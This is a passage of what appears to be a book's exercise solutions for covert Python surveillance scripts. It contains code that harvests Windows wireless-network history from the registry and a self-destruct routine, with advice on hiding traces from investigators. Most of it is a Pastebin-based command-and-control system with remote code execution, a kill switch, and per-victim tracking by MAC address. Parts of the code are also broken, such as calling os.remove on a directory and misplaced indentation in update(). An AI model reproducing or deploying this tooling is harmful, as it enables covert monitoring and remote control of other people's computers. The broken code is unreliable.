        'year' : [1, 0] ,
        'month' : [3, 2] ,
        'day' : [7, 6] ,
        'hour' : [9, 8] ,
        'minute' : [11, 10] }

    time = {}
    for pair in timeformat.items():
```

```
        nhex = ""
        for i in pair[1]:
            nhex += "{:02X}".format(ord(filetime[i]))
        time[pair[0]] = int(nhex, 16)

    return datetime(**time)


signatures = OpenKey(HKEY_LOCAL_MACHINE,
r"Software\Microsoft\Windows
NT\CurrentVersion\NetworkList\Signatures\Unmanaged", 0, KEY_READ |
KEY_WOW64_64KEY)
profiles = OpenKey(HKEY_LOCAL_MACHINE,
r"Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles", 0,
KEY_READ |  KEY_WOW64_64KEY)

networks = []

for signature in get_subkeys(signatures):
    net = {}
    values = get_values(signature[1])
    net["SSID"] = values['Description']
    net["MAC"] = parseMac(values['DefaultGatewayMac'])

    profile = OpenKey(profiles, values['ProfileGuid'])
    pro_values = get_values(profile)
    net["First"] = filetime_to_datetime(pro_values['DateCreated'])
    net["Latest"] = filetime_to_datetime(pro_values['DateLastConnected'])

    networks.append(net)
    profile.Close()
    signature[1].Close()

signatures.Close()
profiles.Close()
```

```
for net in sorted(networks, cmp=lambda x, y: cmp(x['Latest'], y['Latest'])):
    print net['SSID']
    print '\tMAC: {}'.format(net['MAC'])
    print '\tFirst connected: {}'.format(net['First'])
    print '\tLatest connection: {}'.format(net['Latest'])
```

Chapter 3, Exercise 3

Including an expiration date is a straightforward application of the *datatime* library. Just compare *datetime.now()* with your predetermined expiration time before the rest of the script runs. Here is the function to delete the entire script directory:

```
def self_destruct():
    os.remove(os.path.realpath('.'))
```

Note that this does not delete the shortcut that we put in the startup directory, but there is nothing interesting about that; you just need to delete the file as you would any other. It may be surprising how simple that is, but there isn't actually anything stopping a script from deleting itself. Once a script has been loaded into memory and is running, the *thing* that is running and the copy of it that is stored in the file-system are completely independent. So, the running program can delete its source file without a problem, and after it stops running and is cleared from memory, all of the obvious traces that it ever existed will be gone. I say all of the *obvious* traces because there will still be evidence throughout the registry and elsewhere—that should come as no surprise if you remember what we did in Chapter 2—but unless you expect your activities to be tracked by serious digital security professionals, just deleting the script and all of its associated files should be sufficient.

If you want to set the expiration date relative to the time of deployment on the target system rather than hardcoding it into the script, one of the simplest ways to do this would be to store the expiration datetime in the script directory, either in a text file or a pickled Python object. Just check for this file when the script starts, and if one does not exist yet (i.e., this is the first time that the script is being run), create it.

Chapter 4, Exercise 1

Your approach to this will vary depending how you would actually prefer to interact with the system. But, provided you have a decent grasp of the type of interface that you are putting together, the groundwork laid in the Chapter should make this pretty simple. The following is a (very) rough program that can be run from the command line, taking a Python script as an argument, to Paste a *COM-EXEC* command through our C2 system:

```
import sys, pastes

dev_key = "your_dev_key"
un = "your_username"
pw = "your_password"


if __name__ == '__main__':
    p = pastes.PastebinSession(dev_key, un, pw)
    with open(sys.argv[1]) as input:
        p.new_paste('COM-EXEC', input.read())
```

To use this script, you would call it from the command line like so (assuming it is saved as *com-exec.py* and the Python code that you want to execute is saved as *input.py*):

```
python com-exec.py input.py
```

Of course, this is just a very simplistic proof of concept. To build this into a usable command line tool, I would recommend using the *argparse* library and incorporating all of the types of commands that we built into our C2 system, rather than just one of them.

Chapter 4, Exercise 2

Instead of a full solution, here is a modified version of our *update* function, just to illustrate one possible approach. Note that this only handles the kill command, but the same approach can be applied to all of the other commands that we discussed.

```
def update():
    p = pastes.PastebinSession(dev_key, un, pw)
    commands = p.fetch_commands()
    ack = "\n# ACK {} #".format(script_id)
    for command in commands:
        if command["paste_title"] == "COM-KILL ALL" and ack not in
command["paste_content"] :
        p.new_paste(
            command["paste_title"] ,
            command["paste_content"]+ack  )
    p.delete_paste(command["paste_key"])
    kill()

    threading.Timer(update_period, update).start()
```

So now, if the command received is intended for all instances of the script rather than this specific one, instead of deleting the command outright, the existing copy is replaced with a new copy containing an acknowledgment message. This message indicates that this particular copy of the script received the command and has reacted accordingly. We check for this acknowledgment in each command we find and ignore commands that this instance has already responded to. You will notice that I call a variable (*script_id*) that we did not define in the Chapter. This variable is intended to be a unique identifier for each instance of the script. How we assign a value to this variable is related to one remaining question: How do we keep track of all of the copies that we have operating out in the wild? Specific to this example, we would like to be able to delete a command once we know that all active surveillance scripts have seen it. One good solution to this is to identify each running script by the MAC address of the machine that it is running on. To grab this value, we need to use the following code:

```
from uuid import getnode
script_id = str(getnode())
```

This returns the MAC address as a long *int* value, which is fine as an identifier, but you may want to convert this value to hex if you want to display the address in the typical MAC format. Once you have a unique identifier for each copy of the script, you just need to store a manifest of known running copies as a Paste, have each copy check the manifest on startup, and add itself if it is not yet on the list. Now, we want to have *update* check whether this instance is the last one that needs to respond to the command, and if it is, to delete the command instead of just adding an *ACK* message. Here is one way to do that:
First, throw a new method into the *PastebinSession* object to simplify fetching the manifest. Assuming that *MANIFEST* is a comma-separated list of the instance IDs:

```
def manifest(self):
        pastes = self.list_pastes()
        paste = filter(lambda x: x["paste_title"]=="MANIFEST", pastes)[0]
    return paste["paste_content"].split(", ")
```

Now use that to build the manifest checking into *update*.

```
def update():
    p = pastes.PastebinSession(dev_key, un, pw)
    commands = p.fetch_commands()
    ack = "\n# ACK {} #".format(script_id)
    for command in commands:
        if command["paste_title"] == "COM-KILL ALL" and ack not in
command["paste_content"] :
            man = filter(lambda x: x != script_id, p.manifest())
            if not all(["# ACK {} #".format(x) in command["paste_content"] for x
in man]):
                p.new_paste(
                    command["paste_title"] ,
                    command["paste_content"]+ack  )
```

```
        p.delete_paste(command["paste_key"])
        kill()

    threading.Timer(update_period, update).start()
```

There are some remaining issues with this solution. For example, if a copy of the script goes offline because it is detected and deleted, commands will not be deleted because it will not be able to provide the acknowledgment signal. Another problem is that the method used to edit the command paste—deleting the existing copy and replacing it with a new one—does not account for the possibility that two copies of the script will try to read/modify the same command at the same time; this could lead to problems similar to the ones that we tried to avoid with our log file. I will leave finding solutions to these problems to you.